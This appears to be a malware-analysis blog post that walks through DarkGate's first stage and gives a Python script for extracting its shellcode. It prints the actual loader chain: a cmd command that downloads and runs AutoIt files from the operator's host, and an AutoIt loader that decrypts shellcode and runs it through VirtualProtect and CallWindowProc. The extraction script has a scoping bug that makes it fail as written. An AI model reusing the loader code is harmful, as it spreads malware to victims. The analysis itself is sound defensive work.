Quick and easy DarkGate first stage extraction

Development of scripts to extract shellcode from Darkgate VBS file

Introduction

During my analysis of the DarkGate malware, I asked the Internet to analyze the AutoIt script, but to no avail. So I decided to automate the shellcode extraction from the initial VBS script.

VBS Script

The first step of this infection involves a VBS script. It is slightly obfuscated, but its functionality is clear:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
ShellObject = "Shell.Application"

url="hxxp://fredlomberhfile.com:2351/btkaymgu"

.Open "get", url, False  
.setRequestHeader "a", "a"
.send
response = .responseText
CreateObject(ShellObject).ShellExecute "cmd", response ,"","",0
End With

The script contacts a URL and stores the result in a variable. Here is the result in my case:

1
/c mkdir c:\btka & cd /d c:\btka & copy c:\windows\system32\curl.exe btka.exe & btka -H "User-Agent: curl" -o Autoit3.exe http://fredlomberhfile.com:2351 & btka -o nbquok.au3 http://fredlomberhfile.com:2351/msibtkaymgu & Autoit3.exe nbquok.au3

This is a cmd command that performs the following actions:

  • Copies the curl executable to the current folder
  • Downloads a legitimate AutoIT3 executable from the URL
  • Downloads an AutoIT3 script from the URL
  • Executes this script

AutoIt Script

AutoIt3 is a scripting language often used by malware operators to drop executables.

We can open this file with the AutoIt script editor to analyze its code. However, the code does not appear. It is actually a .a3x script (compiled version of AutoIt) with hundreds of lines of useless data appended to it:

To extract this script, I used binary-refinery, a Python library for interacting with files and performing various operations.

1
cat nbquok.au3 | a3x

This command extracts the script from the .a3x document and decompiles it to give us access to the plain script that we can analyze.

This script is again slightly obfuscated by adding unnecessary variables and converting some strings into binary format. Here is the cleaned script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
Func DECRYPTFILEWITHKEY($SFILEPATH, $SKEY)

    Local $HFILE = FileOpen($SFILEPATH, 16)

    If $HFILE = - 1 Then
        MsgBox(0, "Error", "unable to open.")
        Return SetError(1, 0, "")
    EndIf

    Local $BCONTENT = FileRead($HFILE)
    FileClose($HFILE)
    Local $SCONTENT = BinaryToString($BCONTENT)
    Local $ISTART = StringInStr($SCONTENT, "padoru") + 6
    Local $IEND = StringInStr($SCONTENT, "padoru", 0, - 1, $ISTART)

    If $ISTART = 6 Or $IEND = 0 Then
        MsgBox(0, "Error", "delimiter not found.")
        Return SetError(2, 0, "")
    EndIf

    Local $STODECRYPT = StringMid($SCONTENT, $ISTART, $IEND - $ISTART)
    Local $BTODECRYPT = StringToBinary($STODECRYPT)
    Local $IBLOCKSIZE = 0x8000
    Local $ILEN = BinaryLen($BTODECRYPT)
    Local $TBYTE = DllStructCreate("byte[1]")
    Local $IKEYALT = 0
    Local $B_DECRYPTED = Binary("")
    Local $IKEYLEN = StringLen($SKEY)

    For $I = 1 To $IKEYLEN
        $IKEYALT = BitXOR(BinaryMid($SKEY, $I, 1), $IKEYALT)
    Next

    For $I = 1 To $ILEN Step $IBLOCKSIZE
        Local $IBLOCKLEN = $IBLOCKSIZE
        If $I + $IBLOCKLEN > $ILEN Then $IBLOCKLEN = $ILEN - $I + 1
        Local $BBLOCK = BinaryMid($BTODECRYPT, $I, $IBLOCKLEN)
        Local $BDECRYPTEDBLOCK = Binary("")

        For $J = 1 To BinaryLen($BBLOCK)
            DllStructSetData($tByte, 1, BitXOR(BinaryMid($bBlock, $j, 1), $iKeyAlt))
            $BDECRYPTEDBLOCK &= DllStructGetData($TBYTE, 1)
        Next

        $B_DECRYPTED &= $BDECRYPTEDBLOCK

    Next
    Return $B_DECRYPTED
EndFunc

Local $SKEY = "darkgate"
Local $SDECRYPTEDCONTENT = DECRYPTFILEWITHKEY(@SCRIPTFULLPATH, $SKEY)
$BOMCBRWIMQ = $SDECRYPTEDCONTENT

$LLAVEQBFOF = DllStructCreate("byte[" & BinaryLen($BOMCBRWIMQ) & "]")
Local $OLDPROTECT

If(Not FileExists("C:\Program Files (x86)\Sophos")) Then
    DllCall("kernel32.dll", "BOOL", "VirtualProtect", "ptr", DllStructGetPtr($lLavEqBFof), "int", BinaryLen($boMCbRwiMQ), "dword", 0x40, "dword*", $oldprotect)

EndIf

DllStructSetData($lLavEqBFof, 1, $boMCbRwiMQ)
DllCall("user32.dll", "lresult", "CallWindowProc", "ptr", DllStructGetPtr($lLavEqBFof), "hwnd", 0, "uint", 0, "wparam", 0, "lparam", 0)

Firstly, there are two API calls, VirtualProtect and CallWindowProc, which are part of a callback injection technique. There is also a check for the presence of the Sophos antivirus on the machine.

The most interesting part happens in the DECRYPTFILEWITHKEY function, where a file seems to be decrypted.

1
2
Local $ISTART = StringInStr($SCONTENT, "padoru") + 6
Local $IEND = StringInStr($SCONTENT, "padoru", 0, - 1, $ISTART)

The program searches for data between two strings (padding), which corresponds to binary data in the original nbquok.au3 file.

Once the binary blob is extracted, the script will perform an operation on the darkgate key to create a key used to decrypt the shellcode.

1
2
3
 For $I = 1 To $IKEYLEN
        $IKEYALT = BitXOR(BinaryMid($SKEY, $I, 1), $IKEYALT)
 Next

I replicated this operation in Python, which gives us a key of 0xB:

1
2
3
4
5
6
def get_final_key(key):
    alt = 0
    for b in key:
        alt = b ^ alt
        
    return alt

Finally, the program decrypts the shellcode with the key 0xB and executes it using the CallWindowProc callback. I automated the extraction of this shellcode in Python with this script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import regex

key = [100, 97, 114, 107, 103, 97, 116, 101] #Clé "darkgate" en decimal

def get_final_key(key): #Effectue les opérations XOR pour déterminer la clé à utiliser
    alt = 0
    for b in key:
        alt = b ^ alt
        
    return alt

def extract_shellcode_from_au3(file): #Extrait le shellcode entre les paddings "padoru"
    with open(file, 'rb') as f:
        data = f.read()
    
    extracted = regex.findall(b"padoru(.*?)padoru", data, regex.DOTALL)
    
    if extracted:
        return extracted[0]
    else:
        return False

def main(): #Déchiffre le shellcode et l'écrit dans un fichier
    dec_data = []
    key = get_final_key(key)

    for i in extract_shellcode_from_au3("nbquok.au3"): 
        dec_data.append(hex(i ^ key))

    hexdata = bytes([int(x,0) for x in dec_data])

    with open('shellcode.bin', 'ab') as s:
        s.write(hexdata)
comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy